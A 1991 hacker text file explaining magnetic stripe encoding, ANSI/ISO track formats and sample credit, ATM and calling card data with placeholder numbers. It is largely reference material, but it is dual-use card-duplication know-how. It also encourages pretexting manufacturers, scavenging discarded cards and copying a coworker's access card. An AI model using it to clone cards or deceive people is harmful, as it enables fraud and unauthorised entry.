Lately, I've noticed a few "books" and "magazines" for sale that were FILLED with FILES on a variety of computer topics. These file were originally released into the Net with the intention of distributing them for FREE. HOWEVER, these files are now being PACKAGED and sold FOR PROFIT. This really pisses me off. I am writing this to be SHARED for FREE, and I ask no payment. Feel free to reprint this in hardcopy format and sell it if you must, but NO PROFITS must be made. Not a fucking DIME! If ANYONE reprints this file and tries to sell it FOR A PROFIT, I will hunt you down and make your life miserable. How? Use your imagination. The reality will be worse.

** MAGSTRIPE FIELDS, HEADS, ENCODING/READING **

Now, I'll get down to business!

First, I am going to explain the basics behind fields, heads, encoding and reading. Try and absorb the THEORY behind encoding/reading. This will help you greatly if you ever decide to build your own encoder/reader from scratch (more on that later). FERROMAGNETIC materials are substances that retain magnetism after an external magnetizing field is removed. This principle is the basis of ALL magnetic recording and playback. Magnetic POLES always occur in pairs within magnetized material, and MAGNETIC FLUX lines emerge from the NORTH pole and terminate at the SOUTH. The elemental parts of MAGSTRIPES are ferromagnetic particles about 20 millionths of an inch long, each of which acts like a tiny bar magnet. These particles are rigidly held together by a resin binder. The magnetic particles are made by companies which make coloring pigments for the paint industry, and are usually called pigments. When making the magstripe media, the elemental magnetic particles are aligned with their North‑South axes parallel to the magnetic stripe by means of an external magnetic fields while the binder hardens.

These particles are actually permanent bar magnets with TWO STABLE POLARITIES. If a magnetic particle is placed in a strong external magnetic field of the opposite polarity, it will FLIP its own polarity (North becomes South, South becomes North). The external magnetic field strength required to produce this flip is called the COERCIVE FORCE, or COERCIVITY of the particle. Magnetic pigments are available in a variety of coercivities (more on that later on).

An unencoded magstripe is actually a series of North‑South magnetic domains (see Figure 1). The adjacent N‑S fluxes merge, and the entire stripe acts as a single bar magnet with North and South poles at its ends.

Figure 1: N‑S.N‑S.N‑S.N‑S.N‑S.N‑S.N‑S.N‑S <‑particles in stripe ‑‑‑‑‑‑‑‑‑

represented as‑> N‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑S

However, if a S‑S interface is created somewhere on the stripe, the fluxes will REPEL, and we get a concentration of flux lines around the S‑S interface (same with N‑N interface). ENCODING consists of creating S‑S and N‑N interfaces, and READING consists of (you guessed it) detecting 'em. The S‑S and N‑N interfaces are called FLUX REVERSALS.

||| ||| <‑flux lines

Figure 2: N‑‑‑‑‑‑‑‑‑‑‑‑N‑N‑S‑S‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑S

‑‑‑‑‑‑‑‑‑ flux lines ‑> ||| |||

The external magnetic field used to flip the polarities is produced by a SOLENOID, which can REVERSE its polarity by reversing the direction of CURRENT. An ENCODING head solenoid looks like a bar magnet bent into the shape of a ring so that the North/South poles are very close and face each other across a tiny gap. The field of the solenoid is concentrated across this gap, and when elemental magnetic particles of the magstripe are exposed to this field, they polarize to the OPPOSITE (unlike poles attract). Movement of the stripe past the solenoid gap during which the polarity of the solenoid is REVERSED will produce a SINGLE flux reversal (see Figure 3). To erase a magstripe, the encoding head is held at a CONSTANT polarity and the ENTIRE stripe is moved past it. No flux reversals, no data.

| | <‑‑‑‑wires leading to solenoid

| | wrapped around ring)

/‑|‑|‑\

/ \

Figure 3: | | <‑‑‑‑solenoid (has JUST changed polarity)

‑‑‑‑‑‑‑‑‑ \ /

\ N S / <‑‑‑gap in ring.. NS polarity across gap

N‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑SS‑N‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑S

^^

<<<<<‑direction of stripe movement

S‑S flux reversal created at trailing edge of solenoid!

So, we now know that flux reversals are only created the INSTANT the solenoid CHANGES its POLARITY. If the solenoid in Figure 3 were to remain at its current polarity, no further flux reversals would be created as the magstripe moves from right to left. But, if we were to change the solenoid gap polarity >from NS to *SN*, then (you guessed it) a *N‑N* flux reversal would instantly be created. Just remember, for each and every reversal in solenoid polarity, a single flux reversal is created (commit it to memory). An encoded magstripe is therefore just a series of flux reversals (NN followed by SS followed by NN).

DATA! DATA! DATA! That's what you want! How the hell are flux reversals read and interpreted as data? Another solenoid called a READ HEAD is used to detect these flux reversals. The read head operates on the principle of ELECTROMAGNETIC RECIPROCITY: current passing thru a solenoid produces a magnetic field at the gap, therefore, the presence of a magnetic field at the gap of a solenoid coil will *produce a current in the coil*! The strongest magnetic fields on a magstripe are at the points of flux reversals. These are detected as voltage peaks by the reader, with +/‑ voltages corresponding to NN/SS flux reversals (remember, flux reversals come in 2 flavors).

See Figure 4.

magstripe‑‑‑> ‑‑‑‑‑‑‑NN‑‑‑‑‑‑‑‑SS‑‑‑‑‑‑‑‑NN‑‑‑‑‑‑‑‑‑SS‑‑‑‑‑

Figure 4: voltage‑‑‑‑‑> .......+.........‑.........+.....

‑‑‑‑‑‑‑‑‑

‑‑‑‑‑

peak readout‑‑> | | |

‑‑‑‑‑‑‑‑|

The "peak readout" square waveform is critical. Notice that the voltage peak remains the same until a new flux reversal is encountered.

Now, how can we encode DATA? The most common technique used is known as Aiken Biphase, or "two‑frequency coherent‑phase encoding" (sounds impressive, eh?). First, digest the diagrams in Figure 5.

Figure 5: ‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑‑‑‑ | | | peak

a) | |‑‑‑‑‑‑‑‑| |‑‑‑‑‑‑readouts

* 0 * 0 * 0 * 0 * 0 *

‑‑‑‑‑ ‑‑‑‑‑ ‑‑‑‑‑

| | | | | |

b) | |‑‑‑‑| |‑‑‑‑| |‑‑‑‑| |‑

* 1 * 1 * 1 * 1 * 1 *

‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑

| | | |

c) | |‑‑‑‑| |‑‑‑‑‑‑‑‑| |‑

* 1 * 0 * 0 * 1 * 1 *

There you have it. Data is encoded in "bit cells," the frequency of which is the frequency of '0' signals. '1' signals are exactly TWICE the frequency of '0' signals. Therefore, while the actual frequency of the data passing the read head will vary due to swipe speed, data density, etc, the '1' frequency will ALWAYS be TWICE the '0' frequency. Figure 5C shows exactly how '1' and '0' data exists side by side.

We're getting closer to read DATA! Now, we're all familiar with binary and how numbers and letters can be represented in binary fashion very easily. There are obviously an *infinite* number of possible standards, but thankfully the American National Standards Institute (ANSI) and the International Standards Organization (ISO) have chosen 2 standards. The first is

** ANSI/ISO BCD Data format **

This is a 5‑bit Binary Coded Decimal format. It uses a 16‑character set, which uses 4 of the 5 available bits. The 5th bit is an ODD parity bit, which means there must be an odd number of 1's in the 5‑bit character..the parity bit will "force" the total to be odd. Also, the Least Significant Bits are read FIRST on the strip. See Figure 6.

The sum of the 1's in each case is odd, thanks to the parity bit. If the read system adds up the 5 bits and gets an EVEN number, it flags the read as ERROR, and you got to scan the card again (I *know* a lot of you out there *already* understand parity, but I got to cover all the bases...not everyone sleeps with their modem and can recite the entire AT command set at will, you know). See Figure 6 for details of ANSI/ISO BCD.

Figure 6: ANSI/ISO BCD Data Format

‑‑‑‑‑‑‑‑‑

* Remember that b1 (bit #1) is the LSB (least significant bit)! * The LSB is read FIRST!

* Hexadecimal conversions of the Data Bits are given in parenthesis (xH).

‑‑Data Bits‑‑ Parity

b1 b2 b3 b4 b5 Character Function

0 0 0 0 1 0 (0H) Data

1 0 0 0 0 1 (1H) "

0 1 0 0 0 2 (2H) "

1 1 0 0 1 3 (3H) "

0 0 1 0 0 4 (4H) "

1 0 1 0 1 5 (5H) "

0 1 1 0 1 6 (6H) "

1 1 1 0 0 7 (7H) "

0 0 0 1 0 8 (8H) "

1 0 0 1 1 9 (9H) "

0 1 0 1 1 : (AH) Control

1 1 0 1 0 ; (BH) Start Sentinel 0 0 1 1 1 < (CH) Control

1 0 1 1 0 = (DH) Field Separator 0 1 1 1 0 > (EH) Control

1 1 1 1 1 ? (FH) End Sentinel

***** 16 Character 5‑bit Set *****

10 Numeric Data Characters

3 Framing/Field Characters

3 Control Characters

The magstripe begins with a string of Zero bit‑cells to permit the selfclocking feature of biphase to "sync" and begin decoding. A "Start Sentinel" character then tells the reformatting process where to start grouping the decoded bitstream into groups of 5 bits each. At the end of the data, an "End Sentinel" is encountered, which is followed by an "Longitudinal Redundancy Check (LRC) character. The LRC is a parity check for the sums of all b1, b2, b3, and b4 data bits of all preceding characters. The LRC character will catch the remote error that could occur if an individual character had two compensating errors in its bit pattern (which would fool the 5th‑bit parity check).

The START SENTINEL, END SENTINEL, and LRC are collectively called "Framing Characters", and are discarded at the end of the reformatting process.

** ANSI/ISO ALPHA Data Format **

Alphanumeric data can also be encoded on magstripes. The second ANSI/ISO data format is ALPHA (alphanumeric) and involves a 7‑bit character set with 64 characters. As before, an odd parity bit is added to the required 6 data bits for each of the 64 characters. See Figure 7.

Figure 7:

‑‑‑‑‑‑‑‑‑ ANSI/ISO ALPHA Data Format

* Remember that b1 (bit #1) is the LSB (least significant bit)! * The LSB is read FIRST!

* Hexadecimal conversions of the Data Bits are given in parenthesis (xH).

‑‑‑‑‑‑Data Bits‑‑‑‑‑‑‑ Parity

b1 b2 b3 b4 b5 b6 b7 Character Function

0 0 0 0 0 0 1 space (0H) Special 1 0 0 0 0 0 0 ! (1H) " 0 1 0 0 0 0 0 " (2H) " 1 1 0 0 0 0 1 # (3H) " 0 0 1 0 0 0 0 $ (4H) " 1 0 1 0 0 0 1 % (5H) Start Sentinel 0 1 1 0 0 0 1 & (6H) Special 1 1 1 0 0 0 0 ' (7H) " 0 0 0 1 0 0 0 ( (8H) " 1 0 0 1 0 0 1 ) (9H) " 0 1 0 1 0 0 1 * (AH) " 1 1 0 1 0 0 0 + (BH) " 0 0 1 1 0 0 1 , (CH) " 1 0 1 1 0 0 0 ‑ (DH) " 0 1 1 1 0 0 0 . (EH) " 1 1 1 1 0 0 1 / (FH) "

0 0 0 0 1 0 0 0 (10H) Data (numeric) 1 0 0 0 1 0 1 1 (11H) " 0 1 0 0 1 0 1 2 (12H) " 1 1 0 0 1 0 0 3 (13H) " 0 0 1 0 1 0 1 4 (14H) " 1 0 1 0 1 0 0 5 (15H) " 0 1 1 0 1 0 0 6 (16H) " 1 1 1 0 1 0 1 7 (17H) " 0 0 0 1 1 0 1 8 (18H) " 1 0 0 1 1 0 0 9 (19H) "

0 1 0 1 1 0 0 : (1AH) Special 1 1 0 1 1 0 1 ; (1BH) " 0 0 1 1 1 0 0 < (1CH) " 1 0 1 1 1 0 1 = (1DH) " 0 1 1 1 1 0 1 > (1EH) " 1 1 1 1 1 0 0 ? (1FH) End Sentinel 0 0 0 0 0 1 0 @ (20H) Special

1 0 0 0 0 1 1 A (21H) Data (alpha) 0 1 0 0 0 1 1 B (22H) " 1 1 0 0 0 1 0 C (23H) " 0 0 1 0 0 1 1 D (24H) " 1 0 1 0 0 1 0 E (25H) " 0 1 1 0 0 1 0 F (26H) " 1 1 1 0 0 1 1 G (27H) " 0 0 0 1 0 1 1 H (28H) " 1 0 0 1 0 1 0 I (29H) " 0 1 0 1 0 1 0 J (2AH) " 1 1 0 1 0 1 1 K (2BH) " 0 0 1 1 0 1 0 L (2CH) " 1 0 1 1 0 1 1 M (2DH) " 0 1 1 1 0 1 1 N (2EH) " 1 1 1 1 0 1 0 O (2FH) " 0 0 0 0 1 1 1 P (30H) " 1 0 0 0 1 1 0 Q (31H) " 0 1 0 0 1 1 0 R (32H) " 1 1 0 0 1 1 1 S (33H) " 0 0 1 0 1 1 0 T (34H) " 1 0 1 0 1 1 1 U (35H) " 0 1 1 0 1 1 1 V (36H) " 1 1 1 0 1 1 0 W (37H) " 0 0 0 1 1 1 0 X (38H) " 1 0 0 1 1 1 1 Y (39H) " 0 1 0 1 1 1 1 Z (3AH) "

1 1 0 1 1 1 0 [ (3BH) Special 0 0 1 1 1 1 1 \ (3DH) Special 1 0 1 1 1 1 0 ] (3EH) Special 0 1 1 1 1 1 0 ^ (3FH) Field Separator 1 1 1 1 1 1 1 _ (40H) Special

***** 64 Character 7‑bit Set ***** * 43 Alphanumeric Data Characters * 3 Framing/Field Characters

* 18 Control/Special Characters

The two ANSI/ISO formats, ALPHA and BCD, allow a great variety of data to be stored on magstripes. Most cards with magstripes use these formats, but occasionally some do not. More about those later on.

** Tracks and Encoding Protocols **

Now we know how the data is stored. But WHERE is the data stored on the magstripe? ANSI/ISO standards define *3* Tracks, each of which is used for different purposes. These Tracks are defined only by their location on the magstripe, since the magstripe as a whole is magnetically homogeneous. See Figure 8.

Figure 8:

‑‑‑‑‑‑‑‑‑ <edge of card>

_______________________________

| ^ ^

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| 0.223"‑‑|‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| | | 0.353" | ^

|..................|.........|.0.493" |

| Track #1 0.110" | | |

|............................|.MAGSTRIPE>

| |

|............................|.

| Track #2 0.110" | |

|..............................

|

|..............................

| Track #3 0.110" |

|..............................

|

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

| <body of card>

|

You can see the exact distances of each track from the edge of the card, as well as the uniform width and spacing. Place a magstripe card in front of you with the magstripe visible at the bottom of the card. Data is encoded from left to right (just like reading a book). See Figure 9.

Figure 9:

‑‑‑‑‑‑‑‑‑ ANSI/ISO Track 1,2,3 Standards

Track Name Density Format Characters Function

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1 IATA 210 bpi ALPHA 79 Read Name & Account 2 ABA 75 bpi BCD 40 Read Account 3 THRIFT 210 bpi BCD 107 Read Account &

Encode* Transaction

*** Track 1 Layout: ***

| SS | FC | PAN | Name | FS | Additional Data | ES | LRC |

SS=Start Sentinel "%"

FC=Format Code

PAN=Primary Acct. # (19 digits max)

FS=Field Separator "^"

Name=26 alphanumeric characters max.

Additional Data=Expiration Date, offset, encrypted PIN, etc. ES=End Sentinel "?"

LRC=Longitudinal Redundancy Check

*** Track 2 Layout: ***

| SS | PAN | FS | Additional Data | ES | LRC |

SS=Start Sentinel ";"

PAN=Primary Acct. # (19 digits max)

FS=Field Separator "="

Additional Data=Expiration Date, offset, encrypted PIN, etc. ES=End Sentinel "?"

LRC=Longitudinal Redundancy Check

*** Track 3 Layout: ** Similar to tracks 1 and 2. Almost never used. Many different data standards used.

Track 2, "American Banking Association," (ABA) is most commonly used. This is the track that is read by ATMs and credit card checkers. The ABA designed the specifications of this track and all world banks must abide by it. It contains the cardholder's account, encrypted PIN, plus other discretionary data.

Track 1, named after the "International Air Transport Association," contains the cardholder's name as well as account and other discretionary data. This track is sometimes used by the airlines when securing reservations with a credit card; your name just "pops up" on their machine when they swipe your card!

Since Track 1 can store MUCH more information, credit card companies are trying to urge retailers to buy card readers that read Track 1. The *problem* is that most card readers read either Track 1 or Track 2, but NOT BOTH! And the installed base of readers currently is biased towards Track 2. VISA USA is at the front of this 'exodus' to Track 1, to the point where they are offering Track 1 readers at reduced prices thru participating banks. A spokesperson for VISA commented:

"We think that Track 1 represents more flexibility and the potential to deliver more information, and we intend to build new services around the increased information."

What new services? We can only wait and see.

Track 3 is unique. It was intended to have data read and WRITTEN on it. Cardholders would have account information UPDATED right on the magstripe. Unfortunately, Track 3 is pretty much an orphaned standard. Its *original* design was to control off‑line ATM transactions, but since ATMs are now on‑line ALL THE TIME, it's pretty much useless. Plus the fact that retailers and banks would have to install NEW card readers to read that track, and that costs $$.

Encoding protocol specifies that each track must begin and end with a length of all Zero bits, called CLOCKING BITS. These are used to synch the selfclocking feature of biphase decoding. See Figure 10.

Figure 10: end sentinel

start sentinel | longitudinal redundancy check

|

000000000000000 SS.................ES LRC 0000000000000000 leading data, data, data trailing

clocking bits clocking bits

(length varies) (length varies)

THAT'S IT!!! There you have the ANSI/ISO STANDARDS! Completely explained. Now, the bad news. NOT EVERY CARD USES IT! Credit cards and ATM cards will follow these standards. BUT, there are many other types of cards out there. Security passes, copy machine cards, ID badges, and EACH of them may use a PROPRIETARY density/format/track‑location system. ANSI/ISO is REQUIRED for financial transaction cards used in the international interbank network. All other cards can play their own game.

The good news. MOST other cards follow the standards, because it's EASY to follow a standard instead of WORKING to make your OWN! Most magstripe cards other than credit cards and ATM cards will use the same Track specifications, and use either BCD or ALPHA formats.

** A Bit About Magstripe Equipment **

"Wow, now I know how to interpret all that data on magstripes! But.waitasec, what kind of equipment do I need to read the stripes? Where can I buy a reader? I don't see any in Radio Shack!!"

Sorry, but magstripe equipment is hard to come by. For obvious reasons, card readers are not made commonly available to consumers. How to build one is the topic for another file (this file is already too long).

Your best bets are to try and scope out Electronics Surplus Stores and flea markets. Do not even bother trying to buy one directly from a manufacturer, since they will immediately assume you have "criminal motives." And as for getting your hands on a magstripe ENCODER...well, good luck! Those rare beauties are worth their weight in gold. Keep your eyes open and look around, and MAYBE you'll get lucky! A bit of social engineering can go a LONG way.

There are different kinds of magstripe readers/encoders. The most common ones are "swipe" machines: the type you have to physically slide the card thru. Others are "insertion" machines: like ATM machines they 'eat' your card, then regurgitate it after the transaction. Costs are in the thousands of dollars, but like I said, flea markets and surplus stores will often have GREAT deals on these things. Another problem is documentation for these machines. If you call the manufacturer and simply ask for 'em, they will probably deny you the literature. "Hey son, what are you doing with our model XYZ swipe reader? That belongs in the hands of a "qualified" merchant or retailer, not some punk kid trying to "find out how things work!" Again, some social engineering may be required. Tell 'em you're setting up a new business. Tell 'em you're working on a science project. Tell 'em anything that works!

2600 Magazine recently had a good article on how to build a machine that copies magstripe cards. Not much info on the actual data formats and encoding schemes, but the device described is a start. With some modifications, I bet you could route the output to a dumb terminal (or thru a null modem cable) in order to READ the data. Worth checking out the schematics.

As for making your own cards, just paste a length of VCR, reel‑to‑reel, or audio cassette tape to a cut‑out posterboard or plastic card. Works just as good as the real thing, and useful to experiment with if you have no expired or 'dead' ATM or calling cards lying around (SAVE them, don't TOSS them!).

** Examples of Data on Magstripes **

The real fun in experimenting with magstripe technology is READING cards to find out WHAT THE HELL is ON them! Haven't you wondered? The following cards are the result of my own 'research'. Data such as specific account numbers and names has been changed to protect the innocent. None the cards used to make this list were stolen or acquired illegally.

Notice that I make careful note of "common data." This is data that I noticed was the same for all cards of a particular type. This is highlighted below the data with asterisks (*). Where I found varying data, I indicate it with "x"'s. In those cases, NUMBER of CHARACTERS was consistent (the number of "x"'s equals the number of characters...one to one relationship).

I still don't know what some of the data fields are for, but hopefully I will be following this file with a sequel after I collect more data. It ISN'T easy to find lots of cards to examine. Ask your friends, family, and co‑workers to help! "Hey, can I, ahh, like BORROW your MCI calling card tonight? I'm working on an, ahh, EXPERIMENT. Please?" Just...be honest! Also, do some trashing. People will often BEND expired cards in half, then throw them out. Simply bend them back into their normal shape, and they'll usually work (I've done it!). They may be expired, but they're not ERASED!

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑=Mastercard=‑ Number on front of card ‑> 1111 2222 3333 4444 Expiration date ‑> 12/99

Track 2 (BCD,75 bpi)‑> ;1111222233334444=99121010000000000000?

Track 1 (ALPHA,210 bpi)‑> %B1111222233334444^PUBLIC/JOHN? *

Note that the "101" was common to all MC cards checked, as well as the "B".

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑=VISA=‑ Number on front of card ‑> 1111 2222 3333 4444 Expiration date ‑> 12/99

Track 2 (BCD,75 bpi)‑> ;1111222233334444=9912101xxxxxxxxxxxxx?

Track 1 (ALPHA,210 bpi)‑> %B1111222233334444^PUBLIC/JOHN^9912101xxxxxxxxxxxxx? *

Note that the "101" was common to all VISA cards checked, as well as the "B". Also, the "xxx" indicates numeric data that varied from card to card, with no apparent pattern. I believe this is the encrypted pin for use when cardholders get 'cash advances' from ATMs. In every case, tho, I found *13* digits of the stuff.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑=Discover=‑ Number on front of card ‑> 1111 2222 3333 4444 Expiration date ‑> 12/99

Track 2 (BCD,75 bpi)‑> ;1111222233334444=991210100000?

Track 1 (ALPHA,210 bpi)‑> %B1111222233334444^PUBLIC/JOHN___^991210100000?

Note, the "10100000" and "B" were common to most DISCOVER cards checked. I found a few that had "10110000" instead. Don't know the significance. Note the underscores after the name JOHN. I found consistently that the name data field had *26* characters. Whatever was left of the field after the name was "padded" with SPACES. So...for all of you with names longer than 25 (exclude the "/") characters, PREPARE to be TRUNCATED! ;)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑=US Sprint FON=‑ Number on front of card ‑> 111 222 3333 4444

Track 2 (BCD,75 bpi)‑> ;xxxxxx11122233339==xxx4444xxxxxxxxxx=?

Track 1 (ALPHA,210 bpi)‑> %B^ /^^xxxxxxxxxxxxxxxxx? *

Strange. None of the cards I check had names in the Track 1 fields. Track 1 looks unused, yet it was always formatted with field separators. The "xxx" stuff varied from card to card, and I didn't see a pattern. I know it isn't a PIN, so it must be account data.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑=Fleet Bank=‑ Number on front of card ‑> 111111 222 3333333 Expiration date ‑> 12/99

Track 2 (BCD,75 bpi)‑> ;1111112223333333=9912120100000000xxxx?

Track 1 (ALPHA,210 bpi) ‑> %B1111112223333333^PUBLIC/JOHN___^9912120100000000000000xxxx000000?

*

Note that the "xxx" data varied. This is the encrypted PIN offset. Always 4 digits (hmmm...). The "1201" was always the same. In fact, I tried many ATM cards from DIFFERENT BANKS...and they all had "1201".

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

(Can't leave *this* one out ;)

‑=Radio Shack=‑ Number on front of card ‑> 1111 222 333333 NO EXPIRATION data on card

Track 2 (BCD,75 dpi)‑> ;1111222333333=9912101?

**

Note that the "9912101" was the SAME for EVERY Radio Shack card I saw. Looks like when they don't have 'real' data to put in the expiration date field, they have to stick SOMETHING in there.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Well, that's all I'm going to put out right now. As you can see, the major types of cards (ATMs, CC) all follow the same rules more or less. I checked out a number of security passcards and timeclock entry cards..and they ALL had random stuff written to Track 2. Track 2 is by FAR the MOST utilized track on the card. And the format is pretty much always ANSI/ISO BCD. I *did* run into some hotel room access cards that, when scanned, were GARBLED. They most likely used a character set other than ASCII (if they were audio tones, my reader would have put out NOTHING...as opposed to GARBLED data). As you can see, one could write a BOOK listing different types of card data. I intended only to give you some examples. My research has been limited, but I tried to make logical conclusions based on the data I received.

** Cards of All Flavors **

People wanted to store A LOT of data on plastic cards. And they wanted that data to be 'invisible' to cardholders. Here are the different card technologies that were invented and are available today.

HOLLERITH ‑ With this system, holes are punched in a plastic or paper card and read optically. One of the earliest technologies, it is now seen as an encoded room key in hotels. The technology is not secure, but cards are cheap to make.

BAR CODE ‑ The use of bar codes is limited. They are cheap, but there is virtually no security and the bar code strip can be easily damaged.

INFRARED ‑ Not in widespread use, cards are factory encoded by creating a "shadow pattern" within the card. The card is passed thru a swipe or insertion reader that uses an infrared scanner. Infrared card pricing is moderate to expensive, and encoding is pretty secure. Infrared scanners are optical and therefore vulnerable to contamination.

PROXIMITY ‑ Hands‑free operation is the primary selling point of this card. Although several different circuit designs are used, all proximity cards permit the transmission of a code simply by bringing the card near the reader (6‑12"). These cards are quite thick, up to 0.15" (the ABA standard is 0.030"!).

WIEGAND ‑ Named after its inventor, this technology uses a series of small diameter wires that, when subjected to a changing magnetic field, induce a discrete voltage output in a sensing coil. Two rows of wires are embedded in a coded strip. When the wires move past the read head, a series of pulses is read and interpreted as binary code. This technology produces cards that are VERY hard to copy or alter, and cards are moderately expensive to make. Readers based on this tech are epoxy filled, making them immune to weather conditions, and neither card nor readers are affected by external magnetic fields (don't worry about leaving these cards on top of the television set...you can't hurt them!). Here's an example of the layout of the wires in a Wiegand strip:

||| || || | ||| | || ||

| | | | | |

The wires are NOT visible from the outside of the card, but if your card is white, place it in front of a VERY bright light source and peer inside. Notice that the spacings between the wires is uniform.

BARIUM FERRITE ‑ The oldest magnetic encoding technology (been around for 40 yrs!) it uses small bits of magnetized barium ferrite that are placed inside a plastic card. The polarity and location of the "spots" determines the coding. These cards have a short life cycle, and are used EXTENSIVELY in parking lots (high turnover rate, minimal security). Barium Ferrite cards are ONLY used with INSERTION readers.

There you have the most commonly used cards. Magstripes are common because they are CHEAP and relatively secure.

** Magstripe Coercivity **

Magstripes themselves come in different flavors. The COERCIVITY of the magnetic media must be specified. The coercivity is the magnetic field strength required to demagnetize an encoded stripe, and therefore determines the encode head field strength required to encode the stripe. A range of media coercivities are available ranging from 300 Oersteds to 4,000 Oe. That boils down to HIGH‑ENERGY magstripes (4,000 Oe) and LOW‑ENERGY magstripes (300 Oe).

REMEMBER: since all magstripes have the same magnetic remanence regardless of their coercivity, readers CANNOT tell the difference between HIGH and LOW energy stripes. Both are read the same by the same machines.

LOW‑ENERGY media is most common. It is used on all financial cards, but its disadvantage is that it is subject to accidental demagnetization from contact with common magnets (refrigerator, TV magnetic fields, etc.). But these cards are kept safe in wallets and purses most of the time.

HIGH‑ENERGY media is used for ID Badges and access control cards, which are commonly used in 'hostile' environments (worn on uniform, used in stockrooms). Normal magnets will not affect these cards, and low‑energy encoders cannot write to them.

** Not All that Fluxes is Digital **

Not all magstripe cards operate on a digital encoding method. SOME cards encode AUDIO TONES, as opposed to digital data. These cards are usually used with old, outdated, industrial‑strength equipment where security is not an issue and not a great deal of data need be encoded on the card. Some subway passes are like this. They require only expiration data on the magstripe, and a short series of varying frequencies and durations are enough. Frequencies will vary with the speed of swiping, but RELATIVE frequencies will remain the same (for instance, tone 1 is twice the freq. of tone 2, and .5 the freq of tone 3, regardless of the original frequencies!). Grab an oscilloscope to visualize the tones, and listen to them on your stereo. I haven't experimented with these types of cards at all.

** Security and Smartcards **

Many security systems utilize magstripe cards, in the form of passcards and ID cards. It's interesting, but I found in a NUMBER of cases that there was a serious FLAW in the security of the system. In these cases, there was a code number PRINTED on the card. When scanned, I found this number encoded on the magstripe. Problem was, the CODE NUMBER was ALL I found on the magstripe! Meaning, by just looking at the face of the card, I immediately knew exactly what was encoded on it. Ooops! Makes it pretty damn easy to just glance at Joe's card during lunch, then go home and pop out my OWN copy of Joe's access card! Fortunately, I found this flaw only in 'smaller' companies (sometimes even universities). Bigger companies seem to know better, and DON'T print ALL of the magstripe data right on card in big, easily legible numbers. At least the big companies *I* checked. ;)

Other security blunders include passcard magstripes encoded ONLY with the owner's social security number (yeah, real difficult to find out a person's SS#...GREAT idea), and having passcards with only 3 or 4 digit codes.

Smartcard technology involves the use of chips embedded in plastic cards, with pinouts that temporarily contact the card reader equipment. Obviously, a GREAT deal of data could be stored in this way, and unauthorized duplication would be very difficulty. Interestingly enough, not much effort is being put into smartcards by the major credit card companies. They feel that the tech is too expensive, and that still more data can be squeezed onto magstripe cards in the future (especially Track 1). I find this somewhat analogous to the use of metallic oxide disk media. Sure, it's not the greatest (compared to erasablewritable optical disks), but it's CHEAP..and we just keep improving it. Magstripes will be around for a long time to come. The media will be refined, and data density increased. But for conventional applications, the vast storage capabilities of smartcards are just not needed.

** Biometrics: Throw yer cards away! **

I'd like to end with a mention of biometrics: the technology based on reading the physical attributes of an individual thru retina scanning, signature verification, voice verification, and other means. This was once limited to government use and to supersensitive installations. However, biometrics will soon acquire a larger market share in access control sales because much of its development stage has passed and costs will be within reach of more buyers. Eventually, we can expect biometrics to replace pretty much ALL cards..because all those plastic cards in your wallet are there JUST to help COMPANIES *identify* YOU. And with biometrics, they'll know you without having to read cards.

I'm not paranoid, nor do I subscribe to any grand "corporate conspiracy," but I find it a bit unsettling that our physical attributes will most likely someday be sitting in the cool, vast electronic databases of the CORPORATE world. Accessible by anyone willing to pay. Imagine CBI and TRW databases with your retina image, fingerprint, and voice pattern online for instant, convenient retrieval. Today, a person can CHOOSE NOT to own a credit card or a bank card...we can cut up our plastic ID cards! Without a card, a card reader is useless and cannot identify you.

Paying in cash makes you invisible! However, with biometrics, all a machine has to do is watch... listen...and record. With government/corporate America pushing all the buttons. "Are you paying in cash?..Thank you...Please look into the camera. Oh, I see your name is Mr. Smith...uh, oh...my computer tells me you haven't paid your gas bill...afraid I'm going to have to keep this money and credit your gas account with it....do you have any more cash?...or would you rather I garnish your paycheck?" heh heh

** Closing Notes (FINALLY!!!!) **

Whew...this was one MOTHER of a file. I hope it was interesting, and I hope you distribute it to all you friends. This file was a production of "Restricted Data Transmissions"...a group of techies based in the Boston area that feel that "Information is Power"...and we intend to release a number of highly technical yet entertaining files in the coming year....LOOK FOR THEM!! Tomorrow I'm on my way to Xmascon '91... we made some slick buttons commemorating the event...if you ever see one of them (green wreath.XMASCON 1991 printed on it).hang on to it!... it's a collector's item.. (hahahah) Boy, I'm sleepy...

Remember.... "Truth is cheap, but information costs!"

But ‑=RDT is gonna change all that... ;) set the info FREE!

Peace.

..oooOO Count Zero OOooo..

Usual greets to Magic Man, Brian Oblivion, Omega, White Knight, and anyone else I ever bummed a cigarette off.

